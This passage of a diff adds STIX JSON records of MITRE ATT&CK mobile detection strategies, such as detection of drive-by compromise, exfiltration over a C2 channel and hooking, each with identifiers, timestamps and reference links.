"revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0669", + "external_id": "DET0669" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Domain Generation Algorithms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a088cd64-106e-4fe2-a004-5796c574cfd0", + "x-mitre-analytic--4cb75669-f88d-4374-be51-e4b99e22b64e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--996f14f4-3419-45f6-af22-edc15f5d5d19", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0618", + "external_id": "DET0618" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Download New Code at Runtime", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7b4c77fd-f350-48ec-abce-aac3e35c939f", + "x-mitre-analytic--b6d9d5a1-5966-4888-b4ce-30b125043c4d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c6c7da3e-4366-473e-af4e-3cc67d8ea1fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0614", + "external_id": "DET0614" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Drive-By Compromise", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3723c7a3-2ea7-455f-aec5-29300cb7ae64", + "x-mitre-analytic--de37eb78-5f35-4327-99d0-ad6546ab0fb6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1147c50d-907a-4c0d-8375-e23cadeae5f9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0613", + "external_id": "DET0613" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Dynamic Resolution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--729a7413-3c5b-4637-a97b-9bba9f7734a7", + "x-mitre-analytic--c56cfd62-b8cb-49be-820b-e447a1605106" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6e373a06-358b-4078-a8ab-1f5c1730ddf4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0641", + "external_id": "DET0641" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Encrypted Channel", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f3068304-de28-4efa-96a5-a360fc7ffc97", + "x-mitre-analytic--369938c8-6b9e-4eb3-8105-eb76a373dc35" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bc10fb75-db07-4ace-843c-8bcfd4044a90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0627", + "external_id": "DET0627" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Endpoint Denial of Service", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e1db1813-109f-4f24-87e3-5d7b5e506dd3", + "x-mitre-analytic--4a7169fa-79d4-4724-ad55-6e9842b7cb94" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ffbbeee2-1138-4743-905d-e2d605d00ecb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0647", + "external_id": "DET0647" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Event Triggered Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0d22c60c-fd0b-47f8-abe4-2d661a73c653" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--80e1ef21-9454-4000-ae75-d7a5ae8e703b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0653", + "external_id": "DET0653" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Execution Guardrails", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--31d95dc7-aec7-47a2-bbb4-8b20ca3bc184", + "x-mitre-analytic--28304317-cbde-45cd-bf0b-99b5cd8d1478" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7f914be4-061a-43a7-8d36-a758b123ca3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0698", + "external_id": "DET0698" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exfiltration Over Alternative Protocol", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f42dbde8-e7a0-41ed-b13c-7ade678fa782", + "x-mitre-analytic--114cd15c-a02f-4bac-8ed3-3ae71c1761ec" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3ead6ecd-8ecb-40c9-8a73-ee3272bf0deb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0615", + "external_id": "DET0615" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exfiltration Over C2 Channel", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6a60d1be-ab95-46d2-91a7-01703553090e", + "x-mitre-analytic--413bdb56-913d-42e0-978e-5a48c60f562e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c1ca9729-d9a0-47fd-98bf-8355ee9fc8e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0701", + "external_id": "DET0701" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exfiltration Over Unencrypted Non-C2 Protocol", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ece5746f-194b-4564-9f5f-7ebf3b23542e", + "x-mitre-analytic--111bf5b3-ce1c-4f60-b1b0-deef85fc6a0a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--06aad19e-a382-4987-a73c-a8e5c340d657", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0629", + "external_id": "DET0629" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exploitation for Client Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9a574586-2729-4e60-8e60-5e07f200c3ff", + "x-mitre-analytic--71fc481d-53f9-4a35-9879-e01e17f425f0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1cabf349-a457-422b-a179-475795013f8a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0666", + "external_id": "DET0666" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exploitation for Initial Access", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3307605e-f2ac-4cfb-be12-5d880e1bfa11", + "x-mitre-analytic--79897090-662d-4118-b73a-145f79e31829" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5d42f7a1-78dd-4569-936e-78fe4601cb73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0665", + "external_id": "DET0665" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exploitation for Privilege Escalation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f463fae8-5697-4539-b6c7-e67aadf81c73", + "x-mitre-analytic--1076f33e-a959-49b8-97a3-2edf0360fae2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--39efdb0b-2a05-4caf-8f37-876dfad294d6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0663", + "external_id": "DET0663" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exploitation of Remote Services", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ee4ce869-6b88-46f8-829a-9838f7607a8f", + "x-mitre-analytic--6d2d8aff-7d23-40bc-bc29-54852baed5f1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5848450c-38a7-421d-910c-9a10870f4ea3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0638", + "external_id": "DET0638" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of File Deletion", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f6be418e-3fed-4026-b665-f055465c7359" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--afab91d6-8af3-47cd-b899-cacfbb8cad6d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0682", + "external_id": "DET0682" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of File and Directory Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--36cb5f92-996c-42f4-be7e-43c5e21eee2e", + "x-mitre-analytic--0048442c-54c9-4816-a2ba-5e9d376d0bf2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c048a994-166a-42d0-a2d3-63e3cbc09117", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0637", + "external_id": "DET0637" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Foreground Persistence", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2df1959e-8ec4-4193-9cb8-c089c78b4d1c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4809a26b-8527-49dc-81aa-ac2750fd3b75", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0676", + "external_id": "DET0676" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of GUI Input Capture", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2867d1e0-cf83-4d83-bc6c-cc03404c3521", + "x-mitre-analytic--8062d295-9d02-40c5-9ef9-135d08c07a22" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--12414f0e-85ca-4403-873a-6d415c2020f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0608", + "external_id": "DET0608" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Generate Traffic from Victim", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5c280910-f7cf-4e7a-9b99-a592115dbc8b", + "x-mitre-analytic--ccb42e9d-557f-4dc5-b313-75fb6b212821" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--19bf9f62-3909-4d68-b287-bb9ccd826fe5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0648", + "external_id": "DET0648" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Geofencing", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9b4be141-9743-4113-a5f6-2d1a019b0eeb", + "x-mitre-analytic--2f2ed160-9093-4b1f-b781-8660552bf1e5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--11b4d80e-e15b-45b5-81c8-5ebbcdd814f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0640", + "external_id": "DET0640" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Hide Artifacts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--964fc2e0-96fc-4992-b89a-8101d47b7d8c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b5259538-b169-47fd-a57c-521ad3f3a858", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0694", + "external_id": "DET0694" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Hijack Execution Flow", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--09ea8707-d76c-44ae-b077-19a8949faa90" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2d8db41e-e12e-46ff-be11-2810b0a2acb5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0719", + "external_id": "DET0719" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Hooking", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dd1b3351-f8e5-480e-9e7d-f9cfbbf01409" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5560747b-ad67-478e-b3f2-14e55864e532", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0687", + "external_id": "DET0687" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Impair Defenses", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e13d662d-a496-4997-b26a-39e71eb17fc2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a7e4704b-4286-4928-88df-d0c151432495", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0662", + "external_id": "DET0662" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Impersonate SS7 Nodes", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b2120e89-a453-4575-8458-7700ea59f85a", + "x-mitre-analytic--9bc8daed-e8ea-4c70-95bc-dcb2905b33d3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1f04ccee-f8b2-4af3-bc34-e5b54d2c883e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0651", + "external_id": "DET0651" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Indicator Removal on Host", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--50e52979-5f21-4a02-99f3-fc1858b73369", + "x-mitre-analytic--4773bc29-5272-45d5-92bd-b24a34b16df6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5aa9f16e-253d-4ca6-b5e2-8311e5a76290", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0718", + "external_id": "DET0718" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Ingress Tool Transfer", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--86aa8777-e12a-4dab-81ed-354bed18f3db", + "x-mitre-analytic--d7e3296a-9f95-4061-b3f5-0f02910745ab" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": 